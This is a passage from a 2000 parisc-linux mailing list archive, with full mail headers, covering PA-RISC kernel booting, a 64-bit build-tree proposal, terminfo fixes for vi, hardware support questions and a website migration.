> > >these error messages.
> > >
> > >This is PALO saying that /boot/vmlinux is neither elf32, elf64, nor SOM
> > >format.  I'm guessing, based on some earlier advice I gave when you
> > >were net-booting, that you may have a lifimage there by mistake -- you
> > >need a kernel instead, for example from
> > >ftp://puffin.external.hp.com/pub/parisc/binaries/kernels
> > >
> > >To tell for sure, run 'file vmlinux' on that file.  If you get
> > >     vmlinux: 8086 relocatable (Microsoft)
> > >that's probably a lifimage.  You should get this instead:
> > >     vmlinux: ELF 32-bit MSB executable, PA-RISC, version 1, statically
> > > linked, not stripped
> > >
> > >
> > >         -P
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit BUILD CHANGES
Date: Tue, 07 Nov 2000 11:15:50 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <E13tDHi-000743-00@noam.fc.hp.com>
References: <E13r2Ag-0000Xp-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619254 5804 80.91.229.3 (22 Nov 2014 01:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@noam.fc.hp.com  Tue Nov  7 11:14:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA10480
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 11:14:03 -0700
Original-Received: (qmail 1411 invoked by uid 15267); 7 Nov 2000 18:15:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1401 invoked from network); 7 Nov 2000 18:15:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 18:15:52 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id A87761A1
	for <parisc-linux@thepuffingroup.com>; Tue,  7 Nov 2000 13:15:51 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA29231
	for <parisc-linux@thepuffingroup.com>; Tue, 7 Nov 2000 11:15:50 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13tDHi-000743-00
	for <parisc-linux@thepuffingroup.com>; Tue, 07 Nov 2000 11:15:50 -0700
In-Reply-To: Your message of "Wed, 01 Nov 2000 10:59:34 MST."
             <E13r2Ag-0000Xp-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8335


The described changes have just been committed to CVS.  If you have
an existing configured/built 64-bit parisc tree right now I think these
are the steps to update:

	Save your .config file
	do 'make distclean'
	do your cvs update
	restore your .config
	make oldconfig dep
	and then proceed as normal

	The symlinks come when you do a make {old}config and
	go with a 'make distclean' FYI

>>> You may want to start hand-editing .hdepend (following each make dep)
to remove the dependency of atomic.h on spinlock.h (just remove the first
line containing the string spinlock.h) -- it can cause massive
unnecessary rebuilds.  It's due to a parisc-specific circular dependency  :-(

		-P

= I want to propose/discuss a new method for maintaining our 64-bit parisc
= tree in relation to the 32-bit tree.  I have prototyped this and so
= far it seems pretty useful.
= 
= Most of the files in the current parisc64 tree only contain one 
= line, a #include of the same file from the parisc tree.  This confuses
= 'make dep', causes some compile errors to have nonsense line numbers,
= and doesn't allow direct editing of the source files in the parisc64 tree.
= 
= The method I'm proposing works like this:
= 
= The future parisc64 tree ONLY contains files which are different from,
= or in addition to, those in the parisc tree.  When you 'make config'
= or 'make oldconfig', each file in the parsic tree is symbolically
= linked as the same file in the parisc64 tree.  This enables all
= the rest of the tools/build to work normally.  'make distclean' includes
= a step to remove all the symlinks.
= 
= The ugliest "feature" is that even though you can edit source files
= in the parisc64 tree, 'cvs commit' will fail on those which are
= symbolic links.  To reduce this problem, I'm dropping a symbolic link
= called '...' in each parisc64 directory which is a pointer to the
= corresponding parisc directory, so 'cd ...; cvs commit foo.c' will
= work and not be too onerous.
= 
= We should additionally consider a naming convention or something so
= that maintainers in the parisc tree know whether files are shared with
= parisc64 or not.
= 
= I prototyped this as a fictional new "architecture" called "p64".  To
= try it out, grab the tarball (only about 30 files -- can be fewer)
= ftp://puffin.external.hp.com/pub/parisc/
= and unpack in your top-level linux source tree directory.  Then in
= your top-level Makefile, change ARCH := parisc64 to ARCH := p64, then
= make oldconfig or whatever you usually do.  Let me know of any problems.
= 
= Is this something we should adopt for the real parisc64 tree?
= 
= 	-Paul Bame
= 
= ---------------------------------------------------------------------------
= To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
= `unsubscribe' as the subject.
= 
= 
= 


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Tue, 07 Nov 2000 11:19:02 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <200011071919.LAA03841@milano.cup.hp.com>
References: <5.0.0.25.0.20001107094526.00a44990@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619254 5805 80.91.229.3 (22 Nov 2014 01:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: grundler@cup.hp.com  Tue Nov  7 12:12:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA11281
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 12:12:20 -0700
Original-Received: (qmail 26813 invoked by uid 15267); 7 Nov 2000 19:14:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26795 invoked from network); 7 Nov 2000 19:14:08 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 19:14:08 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 1744C77F; Tue,  7 Nov 2000 11:14:04 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA03841;
	Tue, 7 Nov 2000 11:19:09 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 07 Nov 2000 09:46:53 PST."
             <5.0.0.25.0.20001107094526.00a44990@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8336

Kailashnath V Rampure wrote:
> Hi,
> Thanks. I copied the termcap and terminfo directory froma red hat linux 
> box. Now I am able to run VI and the TERM is vt100.

I've added a "vi is complaining" item to the FAQ.

Normally the FAQ lives at 
	http://www.thepuffingroup.com/parisc/faq.html

but it's not updated yet. I've put a temporary copy at

	http://puffin.external.hp.com/~grundler/faq.html

and will remove this once the regular location is updated.
(Hint - relative links won't work from my copy)

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Tue, 7 Nov 2000 20:53:55 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <000f01c048f4$766192a0$a832d793@esiee.fr>
References: <200011071919.LAA03841@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619254 5812 80.91.229.3 (22 Nov 2014 01:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:54 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Kailashnath V Rampure" <kailasr@webcash.com>,
        "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: marteaut@esiee.fr  Tue Nov  7 12:50:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA11857
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 12:49:59 -0700
Original-Received: (qmail 20247 invoked by uid 15267); 7 Nov 2000 19:51:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20233 invoked from network); 7 Nov 2000 19:51:46 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 19:51:46 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id 27ECE57305; Tue,  7 Nov 2000 20:51:36 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8337


----- Original Message -----
From: Grant Grundler <grundler@cup.hp.com>
To: Kailashnath V Rampure <kailasr@webcash.com>
Cc: <parisc-linux@thepuffingroup.com>
Sent: Tuesday, November 07, 2000 8:19 PM
Subject: Re: [parisc-linux] Boot command


> Kailashnath V Rampure wrote:
> > Hi,
> > Thanks. I copied the termcap and terminfo directory froma red hat linux
> > box. Now I am able to run VI and the TERM is vt100.
>
> I've added a "vi is complaining" item to the FAQ.
To use vi and all these applications like top, they need the terminfo
directory in /usr/share from any distrib!!

Bye, the ESIEE Team


From - Thu Nov 08 21:13:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Tue, 07 Nov 2000 12:24:39 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200011072024.MAA04004@milano.cup.hp.com>
References: <000f01c048f4$766192a0$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619254 5817 80.91.229.3 (22 Nov 2014 01:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Tue Nov  7 13:17:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA12306
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 13:17:49 -0700
Original-Received: (qmail 29264 invoked by uid 15267); 7 Nov 2000 20:19:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29249 invoked from network); 7 Nov 2000 20:19:38 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 20:19:38 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 939FFC79; Tue,  7 Nov 2000 12:19:37 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA04004;
	Tue, 7 Nov 2000 12:24:42 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 07 Nov 2000 20:53:55 PST."
             <000f01c048f4$766192a0$a832d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8338

"Thomas Marteau" wrote:
> Grant Grundler wrote:
> > Kailashnat V Rampure wrote:
> > > Hi,
> > > Thanks. I copied the termcap and terminfo directory froma red hat linux
> > > box. Now I am able to run VI and the TERM is vt100.
> >
> > I've added a "vi is complaining" item to the FAQ.
>
> To use vi and all these applications like top, they need the terminfo
> directory in /usr/share from any distrib!!

I didn't say taking from RH was wrong.
IMHO, doing so defeats the whole point of debian's packaging system.

Please read the new FAQ entry and tell me if I've gotten
that right or not.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Tue, 07 Nov 2000 14:50:10 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001107144858.02975e20@mail.webcash.com>
References: <Your message of "Tue, 07 Nov 2000 20:53:55 PST." <000f01c048f4$766192a0$a832d793@esiee.fr> <200011072024.MAA04004@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619255 5818 80.91.229.3 (22 Nov 2014 01:20:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>, "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: kailasr@webcash.com  Tue Nov  7 15:54:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA13487
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 15:54:54 -0700
Original-Received: (qmail 31216 invoked by uid 15267); 7 Nov 2000 22:56:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31138 invoked from network); 7 Nov 2000 22:56:41 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 22:56:41 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA7MmA748615;
	Tue, 7 Nov 2000 14:48:10 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <200011072024.MAA04004@milano.cup.hp.com>
Original-References: <Your message of "Tue, 07 Nov 2000 20:53:55 PST." <000f01c048f4$766192a0$a832d793@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8339

I agree with you regarding taking from RH. I just wanted to let u all know 
how I solved the issue. I have gone through the faq it is fine.

Regards
Kailas

At 12:24 PM 11/7/00 -0800, Grant Grundler wrote:
>"Thomas Marteau" wrote:
> > Grant Grundler wrote:
> > > Kailashnat V Rampure wrote:
> > > > Hi,
> > > > Thanks. I copied the termcap and terminfo directory froma red hat linux
> > > > box. Now I am able to run VI and the TERM is vt100.
> > >
> > > I've added a "vi is complaining" item to the FAQ.
> >
> > To use vi and all these applications like top, they need the terminfo
> > directory in /usr/share from any distrib!!
>
>I didn't say taking from RH was wrong.
>IMHO, doing so defeats the whole point of debian's packaging system.
>
>Please read the new FAQ entry and tell me if I've gotten
>that right or not.
>
>grant
>
>Grant Grundler
>Unix Systems Enablement Lab
>+1.408.447.7253
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Knoch <cjknoch@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 e25
Date: Tue, 7 Nov 2000 15:40:14 -0800 (PST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20001107234014.3076.qmail@web109.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619255 5821 80.91.229.3 (22 Nov 2014 01:20:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjknoch@yahoo.com  Tue Nov  7 16:38:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA14141
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 16:38:28 -0700
Original-Received: (qmail 18831 invoked by uid 15267); 7 Nov 2000 23:40:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18764 invoked from network); 7 Nov 2000 23:40:15 -0000
Original-Received: from web109.mail.yahoo.com (HELO web109.yahoomail.com) (205.180.60.76)
  by mailserv2.iuinc.com with SMTP; 7 Nov 2000 23:40:15 -0000
Original-Received: (qmail 3077 invoked by uid 60001); 7 Nov 2000 23:40:14 -0000
Original-Received: from [200.41.136.134] by web109.yahoomail.com; Tue, 07 Nov 2000 15:40:14 PST
Xref: news.gmane.org gmane.linux.ports.parisc:8340

hi. 
i need information about how to install linux on hp
9000 e25
what version on linux
what distribution ?
how many memoty i need in this machine
how many space on disk i need in this machine
howto boot machine for install linux


Thanks


__________________________________________________
Do You Yahoo!?
Thousands of Stores.  Millions of Products.  All in one Place.
http://shopping.yahoo.com/


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Wed, 8 Nov 2000 00:28:08 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20001108002808.B13854@parcelfarce.linux.theplanet.co.uk>
References: <20001107234014.3076.qmail@web109.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619255 5827 80.91.229.3 (22 Nov 2014 01:20:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christian Knoch <cjknoch@yahoo.com>
Original-X-From: willy@www.linux.org.uk  Tue Nov  7 17:27:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA14802
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Nov 2000 17:27:00 -0700
Original-Received: (qmail 9385 invoked by uid 15267); 8 Nov 2000 00:28:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9377 invoked from network); 8 Nov 2000 00:28:43 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 00:28:43 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13tJ60-0007LP-00; Wed, 08 Nov 2000 00:28:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001107234014.3076.qmail@web109.yahoomail.com>; from cjknoch@yahoo.com on Tue, Nov 07, 2000 at 03:40:14PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8341

On Tue, Nov 07, 2000 at 03:40:14PM -0800, Christian Knoch wrote:
> hi. 
> i need information about how to install linux on hp
> 9000 e25

*sigh*.  This is in the FAQ.  Where do we need to put links to the FAQ
to persuade people to read it?  Where did you find this mailing list
address, do we need to put a link to the FAQ there?

The answer given in the FAQ is:

The earliest PA-RISC servers have proprietary HP devices attached to
proprietary HP bus architectures. It is unlikely that documentation
on these busses and devices will ever become available, since so few
people are interested in spending any effort finding and releasing the
docs. Machines in this category are the E, F, G, H, I class (aka Nova)
and T500 series (Emerald) machines as well as some earlier, unlettered
servers.


-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: Mon, 19 Apr 1999 14:17:19 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <199904192116.OAA06503@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619256 5831 80.91.229.3 (22 Nov 2014 01:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:56 +0000 (UTC)
Cc: "Alex deVries" <adevries@redhat.com>, <parisc-linux@thepuffingroup.com>
To: "Ulrich Drepper" <drepper@cygnus.com>
Original-X-From: cary@cup.hp.com  Mon Apr 19 17:17:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA15594
	for <parisc-linux@sod.res.cmu.edu>; Mon, 19 Apr 1999 17:17:09 -0400
Original-Received: (qmail 26601 invoked by uid 15267); 19 Apr 1999 21:15:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26587 invoked from network); 19 Apr 1999 21:15:45 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Apr 1999 21:15:45 -0000
Original-Received: from cllmail.cup.hp.com (cllmail.cup.hp.com [15.28.98.139])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA08414;
	Mon, 19 Apr 1999 17:16:31 -0400 (EDT)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by cllmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA06503; Mon, 19 Apr 1999 14:16:52 -0700 (PDT)
x-sender: cary@cllmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:8342

>But this is a problem.  We might have to change the names then.  One
>of the essential things about ELF is that it must be possible to have
>support for all kind of architectures in one program.  So all the
>definitions have to be able to peacefully coexist in one header file.

I don't believe there are any cases where the same name conflicts with 
two different numbers. We have cases where two names are used to refer to 
what is essentially the same relocation type, but that shouldn't be a 
conflict.

-cary


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] webshite
Date: Wed, 8 Nov 2000 20:14:43 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619256 5835 80.91.229.3 (22 Nov 2014 01:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Wed Nov  8 13:15:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA22087
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Nov 2000 13:15:24 -0700
Original-Received: (qmail 6782 invoked by uid 15267); 8 Nov 2000 20:17:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1853 invoked from network); 8 Nov 2000 20:14:45 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 20:14:45 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13tbcJ-0007c5-00
	for parisc-linux@thepuffingroup.com; Wed, 08 Nov 2000 20:14:43 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8343


since the lord god alex hasn't seen fit to inform anyone, it seems like
i should.  the www.thepuffingroup.com website is no longer being updated
and all the updates are only going to parisc-linux.org.  i have been
updating www.thepuffingroup.com becuase no-one told me that this site
was no longer supposed to be operational and i suspect a large number
of people who subscribe to this list still have it bookmarked.  also,
email sent to willy@thepuffingroup.com is no longer being received by me.
i don't know who gets it, but the sender does not receive a bounce.

yours, fucking furious, Matthew.

-- 
"It's time for you to change your sig" -- Alex deVries


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] webshite
Date: Wed, 08 Nov 2000 12:31:11 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <200011082031.MAA05350@milano.cup.hp.com>
References: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619256 5839 80.91.229.3 (22 Nov 2014 01:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Wed Nov  8 13:24:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA22478
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Nov 2000 13:24:20 -0700
Original-Received: (qmail 24420 invoked by uid 15267); 8 Nov 2000 20:26:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24398 invoked from network); 8 Nov 2000 20:26:13 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 20:26:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id ED6AF60B; Wed,  8 Nov 2000 12:26:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA05350;
	Wed, 8 Nov 2000 12:31:19 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 08 Nov 2000 20:14:43 PST."
             <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8344

Matthew Wilcox wrote:
> 
> since the lord god alex hasn't seen fit to inform anyone, it seems like
> i should.  the www.thepuffingroup.com website is no longer being updated
> and all the updates are only going to parisc-linux.org.

We gave LXC's website maintainer grief about this already.

> i have been
> updating www.thepuffingroup.comwww.thepuffingroup.com becuase no-one told me that this site
> was no longer supposed to be operational and i suspect a large number
> of people who subscribe to this list still have it bookmarked.

Some time today, I expect (hope?) www.thepuffingroup.com/parisc will be
redirected to www.parisc-linux.org (.com works too).
I've asked mail be sent to this list when it happens.

> also,
> email sent to willy@thepuffingroup.com is no longer being received by me.
